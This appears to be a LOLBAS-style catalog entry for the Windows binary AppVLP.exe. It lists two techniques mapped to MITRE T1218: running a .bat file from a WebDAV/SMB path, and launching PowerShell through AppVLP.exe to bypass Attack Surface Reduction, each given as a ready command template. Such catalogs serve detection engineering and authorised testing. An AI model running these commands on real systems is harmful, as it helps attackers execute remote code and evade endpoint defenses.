CatalogLOLBAS

LOL · OtherMSBinary

Appvlp.exe

2 techniquesWindowsLOLBASGPL-3.0

Execute

ExecutionWindows

Executes .bat file through AppVLP.exe

Use Execution of BAT file hosted on Webdav server.

AppVLP.exe {PATH_SMB:.bat}
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
MITRE
T1218

Execute

ExecutionWindows

Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command.

Use Local execution of process bypassing Attack Surface Reduction (ASR).

AppVLP.exe powershell.exe -c "$e=New-Object -ComObject shell.application;$e.ShellExecute('{PATH:.exe}','', '', 'open', 1)"
Evidence
Upstream reference
Environment
Local host
Context
user
Native
Execute
MITRE
T1218